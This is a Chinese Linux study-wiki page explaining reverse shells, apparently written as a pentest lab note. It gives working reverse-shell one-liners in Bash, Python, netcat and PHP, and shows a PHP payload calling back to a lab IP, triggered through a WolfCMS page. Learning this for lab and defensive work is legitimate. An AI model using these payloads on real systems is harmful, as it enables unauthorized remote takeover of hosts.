Linux
基础知识
01搭建Centos7系统
02软件管理仓库
03Shell
04查看帮助命令
05系统工作命令
06系统状态检测命令
07工作目录切换命令
08文本文件编辑命令
09文件目录管理
10打包压缩与搜索命令
11输入输出重定向
12管道符与通配符
13Vim编辑器
14Shell脚本
15shell流程控制语句
16用户管理操作
17文件权限与归属
18文件隐藏属性
19文件访问控制列表
20su与sudo
21存储结构
22物理设备命名规则
23文件系统
24挂载硬件设备
25虚拟机添加硬盘设备
26系统中操作添加硬盘设备
27添加交换分区
28磁盘容器配额
29软硬方式链接
30RAID
31LVM
32程序安装与管理
33计划任务
34日志文件分析
35测试网络联通性
36FTP服务
37操作系统基本符号
38操作系统三剑客
39shell基础
40shell语法
41DNS
42Apache概述
43Nginx概述
44集群概述
Vmware安装Ubuntu
更换源
三剑客
更换源
输入输出
安装VMware-Tools
SSH服务
反弹shell
-
+
首页
反弹shell
## 概述 反弹 shell 是指**由目标主机主动发起连接,连接到控制端(攻击者 / 管理员)预先监听的端口**,并将目标主机的命令行输入输出流(stdin、stdout、stderr)重定向到该连接的技术。通过这种方式,控制端可以直接向目标主机发送命令,并接收执行结果,实现远程操控。 > 分类 **正向 shell**:控制端主动连接目标主机开放的端口(目标主机提前监听端口),适用于目标主机可被直接访问的场景(如公网主机)。 **反弹 shell**:目标主机主动连接控制端的监听端口,适用于目标主机处于内网、被防火墙限制入站连接,或控制端处于 NAT 后无法被直接访问的场景。 > 基本流程 1. **控制端监听端口**:在控制服务器上开启网络监听 2. **目标主机执行反弹代码**:在受害主机上执行反弹Shell命令 3. **建立连接与流重定向**:受害主机连接到攻击者监听端口 4. **会话交互**:通过建立的连接进行命令执行 ## 实现方式 反弹 shell 可通过多种编程语言或系统工具实现,核心是 “建立网络连接 + 重定向 IO 流”。 > Bash(适用于 Linux 系统) 利用 Bash 的/dev/tcp伪设备(部分系统支持)直接建立 TCP 连接并重定向流: ```bash /bin/bash -i >& /dev/tcp/控制端IP/控制端端口 0>&1 ``` 解析:bash -i启动交互式 shell;>&将 stdout 和 stderr 重定向到/dev/tcp建立的网络连接;0>&1将 stdin 重定向到 stdout(即网络连接)。 > Python(跨平台,需目标主机安装 Python) ```python import socket,subprocess,os s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(("控制端IP", 控制端端口)) # 连接控制端 os.dup2(s.fileno(),0) # 重定向stdin到socket os.dup2(s.fileno(),1) # 重定向stdout到socket os.dup2(s.fileno(),2) # 重定向stderr到socket p=subprocess.call(["/bin/sh","-i"]) # 启动交互式shell ``` > Netcat(简称 nc,需目标主机安装 netcat) ```bash nc 控制端IP 控制端端口 -e /bin/sh # -e指定将shell绑定到连接 ``` 部分 netcat 版本禁用-e参数,可通过管道规避:rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 控制端IP 控制端端口 >/tmp/f > PHP(适用于 Web 服务器,通过网页脚本触发) ```php <?php $sock=fsockopen("控制端IP", 控制端端口); // 建立连接 exec("/bin/sh -i <&3 >&3 2>&3"); // 重定向IO到socket(文件描述符3) ?> ``` > php的反弹shell ```bash <?php shell_exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.186.128/443 0>&1'"); ?> ``` 参数-c ,用于指定后面跟随的字符串作为要执行的命令(或命令序列)。 | 特性 | shell_exec() | exec() | | -------------------- | ----------------------------------- | ------------------------------------------ | | 返回值 | 完整输出(字符串),失败返回 `null` | 默认返回最后一行输出,失败可能返回 `false` | | 完整输出获取方式 | 直接通过返回值获取(字符串) | 需通过第二个参数 `$output`(数组)获取 | | 执行状态码 | 不直接支持(需额外处理) | 可通过第三个参数 `$return_var` 获取 | | 内存占用(大输出时) | 较高(一次性加载所有输出到字符串) | 较低(逐行存入数组,适合大输出) | ## 反弹shell结合Netcat  同时kali中进行监听443端口  访问该路径:`http://192.168.186.133/wolfcms/?articles.html` 上线成功 
毛林
2025年11月1日 14:23
转发文档
收藏文档
上一篇
下一篇
手机扫码
复制链接
手机扫一扫转发分享
复制链接
Markdown文件
PDF文档(打印)
分享
链接
类型
密码
更新密码